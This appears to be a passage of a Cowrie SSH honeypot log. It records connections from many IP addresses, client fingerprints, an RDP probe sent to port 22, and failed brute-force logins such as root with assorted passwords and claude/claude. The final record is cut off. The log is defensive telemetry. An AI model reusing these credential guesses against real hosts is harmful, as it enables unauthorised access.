{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:20.820824Z","src_ip":"80.94.92.184","session":"dfa5ded2f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":52260,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2572f18cd12","protocol":"ssh","message":"New connection: 103.249.84.242:52260 (10.17.0.5:22) [session: a2572f18cd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:22.159320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:22.164711Z","src_ip":"103.249.84.242","session":"a2572f18cd12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:22.263547Z","src_ip":"80.94.92.184","session":"dfa5ded2f8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:22.397585Z","src_ip":"103.249.84.242","session":"a2572f18cd12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Os3leni*","message":"login attempt [root/Os3leni*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:23.361511Z","src_ip":"103.249.84.242","session":"a2572f18cd12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:23.570263Z","src_ip":"80.94.92.184","session":"dfa5ded2f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:24.598056Z","src_ip":"103.249.84.242","session":"a2572f18cd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":47084,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca8a7306264","protocol":"ssh","message":"New connection: 89.127.197.59:47084 (10.17.0.5:22) [session: 4ca8a7306264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:27.812171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:27.817283Z","src_ip":"89.127.197.59","session":"4ca8a7306264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:27.941734Z","src_ip":"89.127.197.59","session":"4ca8a7306264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2029","message":"login attempt [root/2029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:28.465596Z","src_ip":"89.127.197.59","session":"4ca8a7306264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:29.591519Z","src_ip":"89.127.197.59","session":"4ca8a7306264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53062,"dst_ip":"10.17.0.5","dst_port":22,"session":"67bb6bd099e4","protocol":"ssh","message":"New connection: 103.122.221.179:53062 (10.17.0.5:22) [session: 67bb6bd099e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:47.784466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:47.789700Z","src_ip":"103.122.221.179","session":"67bb6bd099e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:48.056923Z","src_ip":"103.122.221.179","session":"67bb6bd099e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a1a1a","message":"login attempt [root/1a1a1a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:48.847787Z","src_ip":"103.122.221.179","session":"67bb6bd099e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:50.114188Z","src_ip":"103.122.221.179","session":"67bb6bd099e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":33722,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b7a69f42a14","protocol":"ssh","message":"New connection: 45.119.212.99:33722 (10.17.0.5:22) [session: 3b7a69f42a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:56.071844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:56.076627Z","src_ip":"45.119.212.99","session":"3b7a69f42a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:56.471955Z","src_ip":"45.119.212.99","session":"3b7a69f42a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:57.496743Z","src_ip":"45.119.212.99","session":"3b7a69f42a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":51580,"dst_ip":"10.17.0.5","dst_port":22,"session":"bebad85f4a83","protocol":"ssh","message":"New connection: 167.172.81.52:51580 (10.17.0.5:22) [session: bebad85f4a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:57.993333Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:57.997881Z","src_ip":"167.172.81.52","session":"bebad85f4a83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:58.000670Z","src_ip":"167.172.81.52","session":"bebad85f4a83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:58.808562Z","src_ip":"45.119.212.99","session":"3b7a69f42a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":41708,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0713bd9ae8c","protocol":"ssh","message":"New connection: 189.203.163.10:41708 (10.17.0.5:22) [session: c0713bd9ae8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:59.158141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:59.163434Z","src_ip":"189.203.163.10","session":"c0713bd9ae8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:59.226334Z","src_ip":"189.203.163.10","session":"c0713bd9ae8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121964","message":"login attempt [root/11121964] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:11:59.509523Z","src_ip":"189.203.163.10","session":"c0713bd9ae8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:00.576256Z","src_ip":"189.203.163.10","session":"c0713bd9ae8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54014,"dst_ip":"10.17.0.5","dst_port":22,"session":"936d391edcc1","protocol":"ssh","message":"New connection: 103.153.68.219:54014 (10.17.0.5:22) [session: 936d391edcc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:07.019514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:07.024938Z","src_ip":"103.153.68.219","session":"936d391edcc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:07.272030Z","src_ip":"103.153.68.219","session":"936d391edcc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":34402,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c496486db2","protocol":"ssh","message":"New connection: 43.134.71.92:34402 (10.17.0.5:22) [session: 26c496486db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:07.509948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:07.517372Z","src_ip":"43.134.71.92","session":"26c496486db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:07.746755Z","src_ip":"43.134.71.92","session":"26c496486db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233q","message":"login attempt [root/112233q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:08.010875Z","src_ip":"103.153.68.219","session":"936d391edcc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2063","message":"login attempt [root/2063] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:08.697370Z","src_ip":"43.134.71.92","session":"26c496486db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:09.259613Z","src_ip":"103.153.68.219","session":"936d391edcc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:09.930930Z","src_ip":"43.134.71.92","session":"26c496486db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59170,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb39af9732ad","protocol":"ssh","message":"New connection: 51.250.105.222:59170 (10.17.0.5:22) [session: bb39af9732ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:16.356438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:12:16.362134Z","src_ip":"51.250.105.222","session":"bb39af9732ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-2